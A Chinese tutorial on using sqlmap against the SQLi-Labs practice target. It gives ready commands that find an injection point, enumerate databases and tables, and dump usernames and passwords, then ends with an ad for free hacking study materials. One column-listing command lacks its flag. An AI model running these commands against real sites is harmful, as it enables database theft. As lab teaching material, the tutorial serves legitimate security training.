网络安全——SQLMAP基础
2026/9/11 21:18:20 网站建设 项目流程

一、SQLMAP简介

1、SQLMAP是一个开源的自动化SQL注入工具,其功能主要是扫描、发现并利用给定的URL的SQL注入漏洞

2、SQLMAP的下载

Kali自带

3、SQLMAP的功能

4、SQLMAP支持的注入技术

5、SQLMAP支持的数据库类型

NOSQLMAP支持的是非关系型数据库,例如Mongodb

6、SQLMAP检测注入漏洞流程

7、SQLMAP的误报检测机制

二、SQLMAP的基本用法

1、-u参数

2、-r参数

3、-m参数

三、SQLMAP的使用例子

-u参数

1.访问SQLi-Labs网站

访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-3。访问的URL为:

http://[靶机IP]/sqli-labs/Less-3/

(注意大小写)

登录后,根据网页提示,先给定一个GET参数,即:

http://[靶机IP]/sqli-labs/Less-3/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

2.启动SQLMAP

启动Windows操作系统的命令行工具cmd

在命令行工具cmd中输入以下命令,进入SQLMAP程序所在的路径:

cd C:\Users\Administrator\Desktop\tools\装机工具\sqlmap-master

进入SQLMAP程序所在的路径后,使用以下命令启动SQLMAP帮助:

python sqlmap.py -h

3.寻找注入点

使用以下命令自动寻找网站的注入点,并获取网站及后台数据库的基本信息:

python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1"

会出现几个选项,让你选择Y/N,可以根据需要选择Y/N

成功后检测结果如下图所示:

4.获取所有数据库的库名

(1)使用以下命令获取所有数据库的库名:

python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" --dbs

检测结果如下图所示:

(2)使用以下命令获取网站当前所在数据库的库名:

python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" --current-db

检测结果:网站当前所在数据库的库名为security。

5.获取security数据库中所有的表名

使用以下命令获取security数据库中所有的表名:

python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security --tables

检测结果:security数据库中含有emails、referers、uagents、users四张表。

其中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

6.获取users表的全部字段名

使用以下命令获取users表的全部字段名:

python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security -T users

检测结果:users表中有三个字段id、username和password。

7.获取users表id、username和password字段的全部值

使用以下命令获取users表id、username和password字段的全部值:

python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security -T users -C id,username,password --dump

检测结果如下图所示:

到这里就爆出所有用户信息啦


下面利用Kali中的SQLMAP演示一下,跟Windows 差不多一样


-r选项

1.访问SQLi-Labs网站

访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-4。访问的URL为:

http://[靶机IP]/sqli-labs/Less-4/

(注意大小写)

2.利用Burpsuite工具拦截HTTP请求包

在Firefox地址栏中给定一个GET参数,将URL修改为:

http://[靶机IP]/sqli-labs/Less-4/?id=1

保存此HTTP请求包

在Burpsuite的Proxy->Intercept界面下选中刚刚拦截到的HTTP请求报文的全部内容,单击鼠标右键,在弹出的菜单中选择copy,将请求包的内容拷贝至文本文档a.txt中,并保存至C盘根目录。

3.启动SQLMAP

启动Windows操作系统的命令行工具cmd

在命令行工具cmd中输入以下命令,进入SQLMAP程序所在的路径:

cd C:\Users\Administrator\Desktop\tools\装机工具\sqlmap-master

进入SQLMAP程序所在的路径后,使用以下命令启动SQLMAP帮助:

python sqlmap.py -h

4.寻找注入点

使用以下命令自动寻找网站的注入点,并获取网站及后台数据库的基本信息:

python sqlmap.py -r C:\a.txt

检测结果如下图所示:

5.获取所有数据库的库名

(1)使用以下命令获取所有数据库的库名:

python sqlmap.py -r C:\a.txt --dbs

检测结果如下图所示:

(2)使用以下命令获取网站当前所在数据库的库名:

python sqlmap.py -r C:\a.txt --current-db

检测结果:网站当前所在数据库的库名为security。

6.获取security数据库中所有的表名

使用以下命令获取security数据库中所有的表名:

python sqlmap.py -r C:\a.txt -D security --tables

检测结果:security数据库中含有emails、referers、uagents、users四张表。

其中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

7.获取users表的全部字段名

使用以下命令获取users表的全部字段名:

python sqlmap.py -r C:\a.txt -D security -T users --columns

检测结果:users表中有三个字段id、username和password。

8.获取users表id、username和password字段的全部值

使用以下命令获取users表id、username和password字段的全部值:

python sqlmap.py -r C:\a.txt -D security -T users -C id,username,password --dump

检测结果如下图所示:

到这里就爆出了所有的用户信息


如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询